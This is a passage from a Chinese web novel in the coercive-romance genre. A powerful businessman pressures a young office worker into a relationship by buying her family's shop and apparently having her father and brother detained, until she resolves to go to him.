《我才不怕你呢(巧取豪夺)》
1. 第 1 章
我真的了解自己吗,真的坦诚地接纳自己吗?
那个平庸的、虚荣的、嫉妒的、空虚的自己。
——宋辞音
第一章
“手脚麻利点!没用的东西,讨债鬼,就知道赖在我家!”
“长舌头,短命鬼,再告状把你卖给诚信酒楼的老板,去做人小老婆吧你!”
黑暗中,一只手紧紧掐住宋辞音的脖颈,她憋得喘不上气,身体剧烈颤抖。
就在将将窒息,一阵天旋地转的失重感袭来。
霍然睁眼。
原来是一场梦。
幸亏是一场梦。
心有余悸,虚惊一场?后身体?大口喘气,猛烈咳嗽。
床骨难捱经年累月的压力,发出苍老的嘎吱声。
“要死啊,大早上的让人睡不睡!”
宋辞音赶紧捂住嘴,依然有几声咳从手指缝中溢出。
“哐!哐!”是重物砸墙的声音。
“没完了是吧?一大早来一出,晦气死了。”嫂子像是没睡醒,声量却是中气十足。
“再说一句滚出去。”是宋辞音的哥哥,语气极其不耐烦,嗓音阴沉消极。
“行了吧你,你也就这点本事,真叫人恶心。”
宋辞音把被子扯盖住头顶,久久未动。
终于安静了。
她掀开被子,露出一张年轻姣好,却愁容惨淡的脸。
但也只短短几秒,苦涩的神色被微笑取代,五指在枕下一阵摸索,掏出手机,查看今日天气、万年历。
“宜”字后,祭祀、祈福、开业、订婚、结婚、求嗣、添丁等等,跟了三四排词语。
星座综合分数99!
今天真是个好日子,会有什么好事发生呢。她一直很乐观。
宋辞音心情愉悦,听话照做搭配星座幸运色衣服,一条雾霾蓝的及膝裙,款式大方简单,适合上班通勤。
穿戴完毕,轻手轻脚下楼。
宋家在老城区的居民街,家家都是二层小楼,眼看周围街道要么拆迁,要么改为旅游景点。
只有他们这条安堂街,越来越老旧,却岿然不动,没一点动静。
大门口配有自来水和水槽,可以做一些简单的盥洗。
“啪!”
一声清脆的巴掌声,惊得两只鸟四处逃窜。
“手感真好,浑圆有肉。”苏念一趿拉拖鞋,打着哈欠走出家门,睁眼看到好友因弯腰而暴露的玲珑身段,“你怎么就吃不胖呢?”
宋辞音直起身,水珠从白嫩剔透的肌肤滚落,睫毛沾了水,眸光湿润。
凶巴巴地瞪了好友一眼:“讨不讨厌,又打我屁股。”
苏念一有一瞬的失神。
如果用两个成语来形容宋辞音的外貌,那一定是明眸善睐、唇红齿白。
开扇双眼皮下,是一双水灵杏眼,生气瞪人时没什么杀伤力,眼波流转间,倒是平添了俏媚娇憨。
“你说你怎么就想不通呢,就你这外形条件,跟我混物联网当博主呗,我手把手带你。”
“做你姐妹还不够嘛,还要做你徒弟。”宋辞音捧水,声音指缝传来,“我性格确实不太合适。”
“知道啦知道了!”苏念一瞅着她被凉水激得通红的鼻头,心里一软,嚷嚷着:“这都十月了,早上那么凉,你怎么还在外面洗漱?”
一旁褪皮的墙壁上,用透明胶带贴着一面小镜子。宋辞音安静涂化妆水,没说话。
“你嫂子又欺负你了?”
嫂子嫁来不到半年,仅苏念一听到,都不知骂了多少次。
“嘘,小点声啦。”
“你干嘛这么怕她啊?”苏念一看好友那么怂,气不打一处来,“你爸妈他们也不……”没说下去。
宋辞音垂眼抹护手霜,她的睫毛密而翘,遮住眸底的情绪:“算了,不想因为我让大家不愉快。”
苏念一无奈摇头:“你真是上辈子欠他们的。”
“也许是这辈子欠的,谁知道呢。”宋辞音抿唇,笑得温和恬淡。
看向好友时,眸若点星,讨好似的摇了摇好友手腕,“我知道你是担心我,我没事的,你放心,好不好?”
她这个受气的,反而安慰起打抱不平的了。
“行了行了,我也是狗拿耗子多管闲事,也没别的办法。”
宋辞音扣上化妆品瓶盖,认真道:“你怎么会是狗呢,你是我最好的朋友,你是超级大美女。”
“受不了你!”苏念一终于露出笑容,“快点去吃早饭吧,一会儿还得上班呢。”
“好呢。”
宋辞音吃早餐的店在小巷头,早餐店对面有一棵高大的梧桐树。
深秋时节,叶黄如金。
梧桐树下停靠一辆汽车,漆黑色车身崭新锃亮,俨然肃穆,与老街格格不入。
宋辞音不懂车,但也能看出车身豪华气派,肯定价值不菲。
附近的人家她几乎都认识,没听说谁家有钱买豪车。
热腾腾的混沌端到面前,宋辞音收回目光,满足盯着青瓷碗透亮的胖娃娃,一旁飘散着几朵香菜葱花,一时间肉香、猪油香、胡椒香、菜香,全都钻进鼻子里。
宋辞音吃饭的习惯很好,她不看手机,也不说话,细嚼慢咽,全部的注意力都在食物上。
待喝完最后一口汤,秀气地用手纸擦嘴,从包里掏出手机:“阿姨,我给您付钱。”
“不用了!”店家笑着摆摆手,扬了扬下巴,眼风示意一处,“这个小伙子刚刚帮你付过啦!”
宋辞音顺着店家的视线寻去,隔壁桌坐着一位同她年纪相仿的男生,电脑包倒背在胸前,四目相对的那一刻,他推了推鼻梁上的眼镜,腼腆又斯文。
“想和你认识一下……能给我个联系方式吗?我、我不是坏人,我保证,绝不打扰你!”
说完双手不自觉地摩挲大腿,双目希盼地看着她。
“不好意思啊,我男朋友不让我给别人联系方式。”
男生眼中的期待与紧张被失落尴尬替代,落寞收回手:“这样啊……”
宋辞音从中学时期就会用这一招,几乎是无往不利。偶尔遇到死缠烂打的,见她迟迟不松动,久了也知道没趣放下。
她起身,从包里取出十元的纸币,飞快推到男生的面碗旁:“谢谢你啊!”
男生两手纠结地搓握,似乎不甘心,犹豫着转头,只看她走出早餐店。
背影纤细,略显单薄,树叶簌簌落在她身后。
又一阵风,卷着树叶吹滚到一旁豪车前,后右侧车窗缓缓降落。
天空如洗的湛蓝,汽车浓墨的黑,与女生被吹起的裙摆,色彩对比,相得益彰。
她已然转身走入人行行道,消失不见。
男生长舒一口气,怅然若失。
宋辞音跨入有些年头的办公室,即刻进入工作状态。
她大学学的是市场营销,还以为毕业后要成为高级白领,没想到找工作都费劲,几百分简历石沉大海。
因此宋辞音这份工做得是小心翼翼,战战兢兢,生怕丢掉来之不易的工作。
“小宋!小宋坐哪儿了?!”经理穿着恨天高跟鞋,一手叉着腰,目光锁定抬手的女生,将手里资料一丢,“手上活放下吧,你出个外勤,去送份资料。”
装修公司,出外勤这是再正常不过的任务,但不知怎么出到写PPT的人身上。
宋辞音不清楚其中细节,但她一贯听话,领导吩咐什么就做什么,绝不多问。
送个资料跑跑腿嘛,并不难做。
一个小时后,宋辞音打车到恒源大厦。
听说这是新
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楼,刚刚投入使用。坐落在市中心,寸土寸金,仅看外貌就已是奢华至极。
大厦落成时,苏念一很多同行都来拍过视频。
要是自己在这儿上班就好了。
宋辞音颤颤巍巍按下电梯键,心想又白日做梦了。
随着电梯的数字不断跳跃,宋辞音的眼皮也跟着跳跃。
到达三十六楼,有前台工作人员接待,毕恭毕敬,笑容可掬。
“我是心家工作人员,这是要给你们的资料。”宋辞音双手递上。
工作人员只瞥一眼牛皮包装,并没有接,目光疏离而不失礼貌,微笑时露出标准的八颗牙齿:“这边请。”
宋辞音这才惊觉,这层办公楼除了前台接待人员外,并无他人。
真奇怪。
“是有资料需要带回去吗?”
工作人员没有回复,先她一米的步履四平八稳,姿势气度如屏幕里仪态小姐。
高跟鞋“哒哒哒”敲打着大理石地面,衬得四遭异常安静。
左侧一面落地窗设计,九曲江景流转有情,再抬头,城市标志性建筑映入眼帘。
宋辞音小心翼翼收敛呼吸。
右眼皮怎么老是跳呢。右眼皮跳代表什么来着?
她默念那句古老的谚语:左眼跳财,右眼跳……
封建迷信不可信!
肯定是没睡好。宋辞音下定论。
“这边请。”
工作人员轻叩三下房门,一只手轻轻拧房门,随后侧身,另一只手对宋辞音做出“请”的动作。
“谢谢。”宋辞音前一脚刚迈入,下一秒,房门被工作人员从外面关闭。
只让她一个人进入。
是等他们领导过来交待任务吗?
宋辞音思索着,往办公室里面走了几步,想找个位置休息一下,却被目光所到之处的布置震惊到。
有光从几何切割的玻璃穹顶泄出,流线型金属装饰美轮美奂,天光加持下像金碧辉煌的宫殿。
她一边感叹,一边站到金属装饰前,这东西能当镜子用。
看了下狂跳的右眼,没瞧出什么问题。
顺手又捋了下耳边的碎发。
宋辞音突然停下手里的动作。
金属装潢倒映出她的模样,倒映出偌大房间的陈列装饰,倒映出几米后的宽大沙发。
沙发上好像坐着一个人。
金黄色倒映下,他的面容不算清晰,大约能看到身着正装,随意的姿态,修长双腿折叠,手肘搭在沙发,指尖撑着太阳穴。
一双眼倒是格外精亮锐利,无声注视,像是夜间匍匐的猛兽注视猎物。
这人是谁?怎么会在这里?
也没出声,不知道观察她多久了。
这个发现让宋辞音略微僵硬,她垂下手,机械地转过身。
不止右眼皮,心跳亦是加快。
对面是一个男人,衬衫袖口被堆上去,露出小段精瘦有力的小臂,灰色腕表沉韵流金。
简洁、利落、沉稳。
准确说是一个长相优越的男人,眉眼深邃,鼻梁挺拔。
重要的是鼻颧骨量的组合,气场浑重威严,贵气逼人。
“不好意思,我是心家的工作人员,来送资料。”
宋辞音无意识吞咽口水,不自觉抚平衣裙褶皱。
无人回复。
长久的沉默,男人无动于衷,目光沉静看着手足无措的女孩,度量审视。
宋辞音屏气凝神,不自觉挺直背脊,目光却只投向地面。
似乎过了许久,他换了一个更放松的姿势,开口:
“做你男朋友,需要什么条件。”
明明是疑问的语句,却是势在必得笃定的陈述语气。
“什么?”宋辞音以为听错,茫然抬起头。
2. 第 2 章
“您说什么?”
宋辞音重复一遍问题。
男人闻言抿唇,手掌落在裤腿,指尖轻弹。
很显然对方没有重复说两遍的意思。
“您在开玩笑吧?”
男人不语,只是静静地打量她。
他的黑瞳更多,眼白偏少,双目在注视状态下异常深沉。
足够沉得住气。
安静,可以说是胜券在握者的淡然和怜悯。
这个发现让宋辞音站立难安。
一种深沉无力地恐惧在身体内落定。
男人语气有慢而强悍的腔调:“房子,车子,钱,或者珠宝,总有个价格。”
宋辞音看似波澜不惊,实则脸颊火辣辣地疼,胸口微微起伏。
他侧头凝视,将她看穿:“你觉得耻辱,无非是价码不够,所以,尽管开条件。”
“什么条件都不用,”她眼风从男人头顶扫过,试图做出一副轻松自然的姿态,“因为我已经有男朋友了。”
雄性对于伴侣的专一度要求极高,绝大多数男人没有窃偶的癖好,从而对有偶的雌性失去兴趣。
男人眯眼,声线意味深长:“是么。”
“是!”
他不急不缓道:“宋辞音,家住安堂街,父母电厂退休后,在隔壁街道经营商店,至于哥哥……”适时停顿。
宋辞音脸色惨淡,表情可以用惊悚形容。
对于家里的“那些事儿”,她从未跟任何人说过,这人怎么知道的?
男人耷拉下眼皮,目光望向窗外,又扫向她。
无声催促。
宋辞音不会蠢得去问他“你怎么知道我的事”。
既然他有办法绕了一圈儿,把自己堵到这里,还有什么是做不到、查不到的?
“我不认识你。”
“陆明彰,我的名字。”
“我的意思是,我不认识你,对你一无所知,也不准备发生什么故事。”
男人眼尾轻抬,目光恣意:“但我对你很了解。”
宋辞音长舒一口气:“我只是来送资料的,你这往严重说属于职场性|骚扰,你不怕我告你,把你抓起来吗?”
陆明彰一顿,似乎听到绝顶好笑的话,他也确实笑了,唇角荡出一丝弧度。
“想这些无意义。”说话的空隙,他瞥了眼腕表,不容置喙,“给你半天时间考虑。”
穿得西装革履人模狗样,说的是人话吗。
“嘭”一声,宋辞音将牛皮纸包装资料重重掷在办公桌上。
“没有什么好考虑的,你让我觉得……搞笑!”
宋辞音一怒之下怒了一下。
陆明彰浑不在意,平心定气:“我劝你冷静一下。”
“这句话也是我送给你的。”
咬牙切齿丢下话,似乎不解恨,双目恶狠狠瞪他一眼(自认为),慌不择路往外冲。
等到食指不停地戳电梯按钮,她才发觉连胳膊肘都在颤抖。
骂那人“搞笑”几乎是她极限了,没办法,她就是太识时务了——在人家地盘,要打要骂不还是人家说了算?
她骂爽了,被报复怎么办?
宋辞音跑出电梯,在路口拦下一辆出租车。
等出租车驶向主干道,才想起来刚才告诉司机家的地址。
算了,跑了这么久,身上出了很多汗,刚好回家洗个澡吧,下午再回公司。
老天爷保佑,再也别让她碰见那个神经病。
宋辞音失魂落魄进入家门时,嫂子张雨婷正躺在客厅沙发嗑瓜子。
“嫂子。”宋辞音经过沙发,笑着冲躺着的人颔首。
“呸!”张雨婷捞起垃圾桶,吐一口瓜子皮,“真难吃!”
宋辞音取出干净的衣物,反锁浴室房门,淋浴喷洒出滚烫的热水。
水雾氤氲里,她想起那个男人的脸。
棱角分明,丰神俊朗。
嗯……勉强算帅吧,偏成熟型的。
可惜举手投足的气质,说出的混蛋话,实在让人无法把他和好看联系到一起。
这人按说应该是公司的甲方,甲方怎么知道她这个小职员的信息的?
还说一些莫名奇妙的话?
还给她半天时间考虑,他以为他是谁啊。
想不通。
“大白天跑回来洗澡,可真讲究,水不要钱吗?电不是钱吗?”
张雨婷的声音断断续续传到水雾中。
宋辞音心想不妙,加快冲洗的动作。
不到三秒,水温骤然转凉,冰得她激灵哆嗦。
张雨婷从浴室外关掉热水。
头发上还有很多泡沫。
宋辞音长叹一口气,硬着头皮举起莲蓬头。
凉水在身上滑过,似乎五脏六腑都被扯得生疼。
用吹风机吹干长发,彻骨的阴冷才缓和一些。
太过分了!
这次绝不再忍让张雨婷,一定要和她大吵一架,把她臭骂一顿!
宋辞音越想越激动,“嘭”得把吹风机扣在桌上,冲到客厅。
“看,看什么看?”
“嫂子,你平时再怎么说我我只当你口直心快了,但你怎么能在我洗澡的时候把热水停掉?”
“趁你哥不在跟我吵架,宋辞音,我怎么没瞧出来,你年纪不大,心思倒是不少?”
“我不知道哥哥在不在,我只是在和你就事论事,你停我热水。”
张雨婷吐掉瓜子皮:“这是我家,我想停就停。”
“这也是我家,而且电费水费都是爸妈缴的,又没让你……”
“宋辞音,宋辞音。”张雨婷打断她,“你好歹是个大学生,读书读傻啦?还不明白吗,你爸妈的都是你哥的,就都是我的,懂了么?”
预想了很多和张雨婷骂战的话术,听到这句话后,却一个字再也说不出。
“我懒得和你吵!”
宋辞音气鼓鼓走出家门,她真是太没出息了,每次都是只会扔下一句狠话,看似冷硬决绝,其实不过是临阵脱逃。
等到她畏畏缩缩回到公司,无人询问她去送资料结果如何,大家对此一无所知。
她长舒一口气。
看来只是一个小插曲。
第二日,宋辞音像往常一样起床上班。走到客厅,父母两人坐在沙发上长吁短叹。
往常这个时间,他们早早就去看店搬货了。
父母退休后,经营一家小超市,就在隔壁街,如今街道被旅游开发,人流量大,生意很不错。
房子在旅游开发前就承租下来,租金相当划算。
“爸妈?今天这是……不用去店里吗?”
宋母长叹一口气:“昨天我们回来晚,就没叫你,超市房东说不租了,让我们赶紧搬走。”
“但是我们是签了合同的,白纸黑字,不是他说让为们走就让我们走,要付违约金的。”
“现在房东的意思,宁愿赔违约金,也要撵我们走。”宋母抬手拢耳边碎发,她的手很粗糙,横纹丛生,发根丝丝银白,“一时半会的,我们去哪里找这么合适的铺面啊。”
宋父身陷沙发中,背脊的弯度仿佛喘不过气,沉默着从口袋摸出香烟,又放下。
“爸、妈,要不趁这个机会,干脆别干了,反正你们退休金……”
宋辞音话未说完,一阵乒乒乓乓的声音从里间卧室穿透来。
“嘘嘘嘘!”宋母不停做噤声动作,压着嗓音说,“小点声,怎么能不干,你哥怎么办?那位能闹死我们!”
“那位”自然是此刻正发出刺耳响声的某人。
宋辞音垂下眼睑,许久,她抬起
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脸,面上挂着一如既往的和煦:“妈,把房东电话给我吧,我约他聊一聊,他突然不租肯定有原因,沟通试试看,说不定能解决。”
宋母点头:“也只能这样了,我和你爸年纪大了,确实跟不上形势,你哥又那样,幸亏家里还有你。”
宋辞音笑了笑,没说话。
超市房东没有刻意刁难,约好晚六点半,在小巷的咖啡店碰面。
宋辞音连忙把好消息告知父母,大家总算是略微舒口气,能见面,说明还是有谈判空间。
对宋辞音来说,这算是连续倒霉两日后,唯一的好消息了。
好不容易捱到下班,打卡后急匆匆赶往小巷,天空飘起碎雨,以至于咖啡庭门口略显冷清。
从前这里无论刮风下雨,总是很热闹,许多年轻人来打卡喝咖啡。
今天门口却只有一个人。
一位三十左右的胖胖男人,穿着深蓝色衬衣,看到宋辞音时,嘴角扬起从容而礼貌的弧度。
“您就是和我约好的房东吧?”
那人没有直接回答,绅士拉开玻璃门,恭谨道:“宋小姐,里面请。”
房东还怪客气的。
宋辞音想,一会儿好好说说家里情况,再主动提涨租金,应该就不会被撵出去了。
想到这儿,紧张了两天的神经得以舒展,唇角不自觉挂起微笑。
下一刻,她的笑容瞬间凝结在脸上。
雨似乎渐大,落水声如拨弄的绵密丝弦,古旧青石板被敲击震颤。
玻璃门尚未关闭,风裹挟着潮湿的空气袭来,让每一根汗毛竖立,后背顷刻失温。
阴雨天气,咖啡厅内光线不足,头顶灯光时闪时灭,昏暗空间略显压抑。
阴影中似有具挺拔的身影,一张轮廓分明的脸逐渐清晰。
她曾天真以为,昨日的际遇只是一次偶然,一个意外,甚至是一个恶作剧。
没想到会再次见到这个男人。
这个让人摸不到头脑、强势又冷肃的男人。
此刻他端坐在沙发上,穿一身剪裁得益的黑色正装。
无波无澜的目光投向她时,有那么几分贵气雍容的气度。
咖啡厅桌椅紧凑,空间逼仄,他形容高大,连带气压都降低紧张。
这样的局面让宋辞音慌乱,更让她屈辱。对方气定神闲的背后是绝对的掌控全局。
僵持的局面许久,她听到自己干涩的声音:“想必你对我家情况很了解了,我家确实很需要这个店面,算我求求你,不要让周叔叔不租给我们好吗?”
周叔叔就是房东。
她发丝柔软,被雨水打湿的发梢淌下一滴水,黏在纤细的脖颈。
很是可怜。
四肢像是被灌铅一样沉重,纹丝不动等待他的回应。
男人目光略有所动,轻缓开口:“我没有不让他租给你们。”
他叫什么来着,哦对,陆明彰。
宋辞音略带惊喜,小心翼翼望向他。
这人还算有点良知。
下一秒——
“商铺我买了,”陆明彰身体微微后仰,双手交叉,语气沾染秋雨的冷冽,“是我不租给你们。”
什么叫从天堂到地狱,不过如此。
宋辞音嘴长了长,又闭上。
超市所在的小巷,如今俨然成了本市的旅游景点,又是市中心,铺面价格自然是水涨船高。
听说小巷一个三十平米的铺面至少能卖大几百万,多的能卖上千万。
这对宋辞音来说,已然是天文数字。
陆明彰短时间内就买下来了。
宋辞音心中似有惊涛巨浪,震惊之余反而冷静。
冷风无孔不入,从玻璃门缝钻进,又爬到她皮肤上。
她找到自己战栗的声音:“一定要这样吗?”
3. 第 3 章
回复宋辞音的只有狂风拍打玻璃门的声音。
陆明彰是吧?
金口难开,遇到不想回答的问题就沉默,绝不多废话一个字。
这人绕了那么一大圈,花了那么多钱买下商铺,就为了一个见过不过两面的人?
宋辞音不自恋不自傲,扪心自问,不认为自己优秀美丽到让人大费周折豪掷千金。
关键两人根本不认识啊,他到底是从哪里冒出来的?
事出反常必有妖。
“你是来诈骗的吗?”宋辞音小声试探。
姓陆的嘴角终于动了下,神色复杂:“动动脑子。”
这话乍一听像是在骂人。
不过也是,如果是诈骗的,投入一千万,成本确实过于高了。
把她卖了都不一定能卖一千万。
“那你到底要什么啊?”一口气呛在胸膛提不上去,宋辞音双手紧握成拳,骨节紧绷成白色。
和她的脸色一样。
这两天有心事没吃好,人清减了不少,下巴都尖了。
风雨声中,头微微低着,脸色惨白,越显脆弱。
陆明彰欺压的眼神,比强硬声音先来:“要你。”
“哈?”
水杏般双眼震惊圆睁,愕然于他的直接。
宋辞音更茫然了。
“我家庭很复杂,我哥……我很懒的,非常爱睡觉,一天能睡好多个小时。我还特别馋,吃得非常多……”
说罢,真挚地看着陆明彰。
这些都是她的真心话,企图通过自我暴露,让陆明彰知难而退。
“我知道。”
“放心,我养得起。”他又说。
宋辞音看到他唇角有一闪而过的笑意。
什么养得起养不起的,这是重点吗?!
“看您是有头有脸的人,您想要什么样的女人没有啊。而且我,我……我有个发小,在网上很火,万一她把这事爆出去……您知道的,现在网络舆情好厉害的。”
这样半是“提醒”半是威胁的话,他肯定能听懂吧?
宋辞音心虚瞅他。
陆明彰点头,像是思索,两眉中间有淡淡的竖纹:“确实是个问题。”
“嗯嗯!您也不想因为这样一件小事,惹一身麻烦吧。”
宋辞音如小鸡啄米状点头,眸光闪动如点星。
陆明彰:“有道理。”
“我就说嘛,就知道您是讲理的人。”
事情没有想象中那么糟糕嘛,这人还是可以沟通的嘛。
“那这样,”陆明彰似笑非笑,“先把她账号封掉。”
宋辞音笑容僵持在脸上:“您真会开玩笑。”
陆明彰脸上哪还有什么笑意。
合着他刚才耍她玩儿呢。
心潮退却,当头一棒,宋辞音有惊喜后的失落,更多的是被戏谑后的羞耻。
“我有个问题。”
门外雨落更紧了,呼啸的风声似从指尖滑过,宋辞音不拢下肩膀。
寒冷和恐惧,如影随形。
“问。”他应。
“为什么是我?我是说,我根本不认识你,这是我和你第二次见面吧?”
陆明彰沉声道:“这不是你该考虑的。”
“那我应该考虑什么?”
宋辞音几乎到情绪崩溃的临界点,她缓缓向前,停至陆明彰身前。
声音压抑,重复,“我应该考虑什么?”
陆明彰视线向上,扫过她发红的眼眶:“譬如,趁我还算高兴,开些有利自己的条件,我都会满足。”
宋辞音真被这句话气笑了。
该多厉害,多自信,多恬不知耻的人,才能说出这样的话?
“你不就是有两个臭钱吗,有什么了不起的?”
她语气执拗,几近决绝抄起茶几上的咖啡杯,泼向他。
褐色液体在瓷杯中激荡,泼洒一大片,迸溅在桌面。
还有一小片液体,洒在腕表上。
陆明彰盯着她,姿态未动,眼睛没眨一下。
现在宋辞音相信陆明彰是个很“厉害”的人了。
不是因为他随随便便就能拿一千万,买下旅游街的商铺。
在被泼时,他竟然气定神闲,过于冷静自持。
咖啡液洒在他的腕表上,依然不为所动,没有任何发怒的迹象。
哪怕就连宋辞音这个奢侈品小白,也看出腕表价值不菲。
但他只是抽手摘掉腕表,随意一丢。
而后抬头,目光平淡望向她:“解气了?”
宋辞音突然不敢再看他。
其实刚才泼他咖啡,并不是一时情绪上头,是故意做的。
为了激怒他,让他觉得:你看,这个女的脾气很不好,很没有意思的。从而对她失去兴趣。
不过,她还是有点怂,拿捏着力度,没敢把瓷杯丢他头上。
但他的反应和预想中不一样。
她往后退了两步,大概是进来时鞋子上沾了雨水,地面湿滑,心不在焉中,脚一滑,跌坐在地面上。
她从来没这么狼狈过。
一切都是拜姓陆的所赐。
越想越沮丧,故意和他做对似的,赌气道:“没够。”
似乎不过瘾,又重复一遍:“不就是有俩臭钱,有什么了不起的。”
陆明彰缓缓起身,却并不是扶她起来,他弯腰,俯瞰跌倒在地的女人。
他的身影挡住光线,阴影将她笼罩。
宋辞音被人攥住下巴。
陆明彰的指腹粗粝,虎口温暖,热度从他手掌传递而来。居高临下的视线,将她全身从上而下巡逻一遍。
他裤料硬挺,裤管磨蹭到宋辞音小腿肌肤,密密麻麻的触感。
她两腿并拢,和他拉开距离。
陆明彰轻嗤:“两个臭钱,让你抖成这样。”
好残酷的话。
却也是事实。
“谁抖了?我这是冻的。”
说罢打掉陆明彰控制自己的手,她麻利起身,不再逗留,奔向门口。
被她误会成房东的胖胖中年男人一直在门口守着,看到宋辞音跑出来的,还客气的帮她拉玻璃门。
并递上一把雨伞。
“宋小姐,这会儿雨比较大。”
宋辞音瞥一眼胖胖中年男人,瞥一眼雨伞。
呵,一丘之貉。
她不打算和姓陆的有什么纠缠,自然也不会要他的伞。
雨势沸腾,水汽使街道云雾缭绕,人烟稀少。
玻璃门内传来脚步声。
宋辞音咬牙,冲进倾盆雨中。
她只顾奔跑,眼睛被雨水冲刷,视线模糊,好似绊到一块石子,重心不稳,整个人摔倒在地。
手掌和膝盖先着地,火辣辣的痛感随即传递大脑。
全身早已湿透,挂水的衣物贴着肌肤,冷入骨髓。
痛感让人格外清醒。
“我怎么那么倒霉啊,我怎么那么倒霉啊……”
一开始还是小声嘤咛,积攒的压力和痛苦排山倒海而来,实在忍不住,终于放声痛哭。
当宋辞音一瘸一拐全身湿透打开家门,宋母“哎呀”一声,慌忙起身,拽下毛巾覆在女儿头上。
“你傻啊,不知道避雨的吗?”
“妈,那个房东……”
“别说了,先去洗个热水澡。”
宋辞音虚弱点头。
她跛着脚,走向卫生间,余光
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看到哥嫂房间猛然扣上房门。
紧接着,又是一阵鸡犬不宁的哭闹。
“骗婚,你们宋家骗婚!说好我嫁过来什么都不用操心!骗婚,我要离婚,明天就去离婚!”
花洒下,宋辞音疲倦地瞌上眼。
等她冲好热水澡,推开卫生间房门,看见地上摆放一瓶碘伏和一袋棉签。
再抬头,看到宋父微微佝偻着背往外走,大概是要去门外抽烟,灯光洒在他花甲之年的背影上,略显落寞。
宋辞音拿起碘伏和棉签,心口暗暗酸胀。
再想办法吧,大不了明天请一天假,去周边转一转,看看哪里有出租的商铺。
树挪死人挪活,还怕找不到合适的新店吗。
这么想着,宋辞音度过难眠的一夜。
翌晨,早早起床,骑上单车,挨街挨道地转悠。
附近的街道几乎都被开发成旅游街,人流量大,自然没有店铺转让。
就在她越逛离家越远时,宋母急冲冲一个电话杀来:
“阿辞,快回来,家里出事了!”
……
等宋辞音赶回家时,就看到张雨婷正叉腰骂人,嘴里念叨的无非是“你们骗婚”、“你们想办法”、“你们家没一个好人”,诸如此类。
而宋母正瘫坐在沙发上哭。
“你爸还说呢,今天终于没雨了,把你哥带店里透透气,我们三个刚到,就来了一群人,说店里涉嫌一个洗钱的案子,我也没听很懂,可是,可是他们直接把你爸和你哥带走了,说要调查。”
“妈,你先别急,他们有说带到哪里去吗?”
“不知道带哪儿去啊。不急我怎么能不急啊,你哥的身体,他怎么受得了啊。”
宋父宋母都是老实本分的人,怎么会和什么洗钱有关?
分明有人搞鬼。
慌乱中宋辞音想到一个人。
“妈,要不打电话问问表舅?他是领导,又是我们亲戚,一定会帮我们的。”
“对,你表舅,怎么把他给忘了,快快,我手机呢,给你表舅打电话。”
这个表舅呢,就是宋母的亲表弟,就算是平头老百姓,谁还没几门阔亲戚。
宋母大致说了下家里的情况,表舅答应得很爽快:“都是亲戚,客气什么,我打电话帮你问问,肯定是个误会,说不定一会儿就把人送回家了。等我电话哈!”
听表舅愿意帮忙,语气轻松又言之凿凿,宋母和宋辞音紧张得心才放下一点点。
宋辞音大概猜到是怎么回事,说来也是自己被那人唬住了,表舅职位还不低呢,用得着怕他吗?
莫名奇妙卑鄙无耻的家伙。
表舅让她们等电话,母女二人就这样等了六七个小时,等到夜色沉沉,父子俩依然没回来,手机也没响一声。
眼看时间越来越晚,宋母口角长出两个燎泡,她再也坐不住,再次回拨表舅电话。
无人接听。
再拨,依然无人接听。
宋母和宋辞音的心再次跌落谷底。
“或许表舅在帮忙打点,没时间接电话。”
是什么原因,让表舅从欣然同意,到拒接电话。
答案显而易见。
“怎么可能回个电话的时间都没有?你说你爸和你哥,到底在哪儿呢?他们有没有吃饭?会不会冻着?”
宋母说着,再次呜咽痛哭。
“这么晚了,找人也不好找了,先睡吧妈,我有办法,明天一定能让爸和哥回来,我保证。”
“你明白吗,你哥不在,我真活不成了。”
宋辞音没再说什么,扶着宋母躺下,倒了一杯水放在床头。
只有自己心里清楚,她做出一个巨大、不得不的决定。
4. 第 4 章
宋辞音迈出家门预备洗漱,就看到苏念一在门口小花坛压腿。
“你起这么早。”她朝向墙壁小镜子,照了照新冒出的黑眼圈。
“一会儿去隔壁市有个明星合作,难搞得很,当天就要回来,只能早起了。”苏念一拽拉瑜伽裤的口袋,抬眼,“你怎么也起那么早,才六点多。”
“有心事醒得就早。”
“怎么,又有人追你不知道怎么拒绝啊?”
镜中女孩发愣思忖,把这几日发生的事儿讲给好友听。
她俩从幼儿园开始就在一个班,一向是无话不谈。
想着万一自己有什么意外,苏念一也能帮衬家里。
“我靠,这何方神圣,也太刑了吧!”苏念一低头摸索,“我手机呢,搜一搜这人。”
“我之前搜过了,网上没一点信息,什么都没扒到。”宋辞音直起腰,抹一把水淋淋的脸,神色懊恼。
“那只有两种可能,要么他是个骗子,要么……能量大的惊人,是我们完全接触不到的人物。”
苏念一继续分析道:“旅游街的商铺说买就买,还能随随便便把你爸你哥带走,看来排除第一种可能了……”
“所以,我没有别的办法了。”
宋辞音平时脾气好,也不容易着急,长年累月的温软性情,造就了她如花照水般的明媚气质,眉目娇俏而不艳俗。
此时两眉颦蹙,像被风吹拂的海棠,摇摇欲坠,纯净脆弱,惹人怜惜。
苏念一不忍,想了想,下定决心:“我毕竟一百多万粉丝,给你发网上,不信还没天理了。”
“我知道你的好意,但是不行。”宋辞音垂首,额前碎发随风拂动,“他是我们惹不起的人,万一到时候事情没发酵成功,你号却被封了,得不偿失,你努力了那么久,才有了今天的粉丝量,不行,绝对不行。”
“那你就真要去送上门?”苏念一只觉震惊。
她太了解好友了。
宋辞音从小谨言慎行,有着惹人保护的清透纯真,哪怕二十多岁了,被人表白时依旧会脸颊通红。
这样的决定,对她来说是足以颠覆人生的勇敢。
会发生什么,两人不言而喻。
虽说现代社会进步,不讲究什么贞洁烈女,但不代表可以随意交付自己,谁也不想被一个陌生人欺辱。
宋辞音背过身,嗓音低沉:“没事儿,到时我就当被狗咬了呗,这种人,肯定喜新厌旧特别快,没准没两天就腻了,就过去了。”
面朝东方,恰好看到太阳冉冉升起。
已经快一整天了,而爸爸和哥哥还不知所踪没有回来。
她化了淡妆,穿上那件买过还没舍得穿的修身长裙。
这是拿到第一个工资时,被苏念一怂恿入手的,要花掉半个月的工资,当时很不舍得,来回专柜三次,才下定决心。
没想到第一次穿,竟然是去见那个人。
十月底的天气已然转凉,穿夏季裙装很单薄,稍微起风,皮肤浮一片鸡皮疙瘩。
顾不了那么多了。
早高峰人流拥挤,排了好久的队,打到网约车到恒源大厦,就是她去送资料他们第一次见面的地方。
这里应该是他的办公室吧。
宋辞音抵达36楼,却被工作人员告知,陆明彰根本不在此处办公。
但他既然费了那么大力气来逼迫她,怎么可能不留个能联系到他的线索?
看来是故意难为自己呢。
除了这里,也不知道再去哪里找他,宋辞音干脆赖在36楼接待处,耐心又焦急地等待。
早上来得急,也没心情吃早饭,这会儿静下来,腹腔像打雷一样。
又急又饿。
身体像被抽空,瘫软没有力气。
一坐就是半上午。
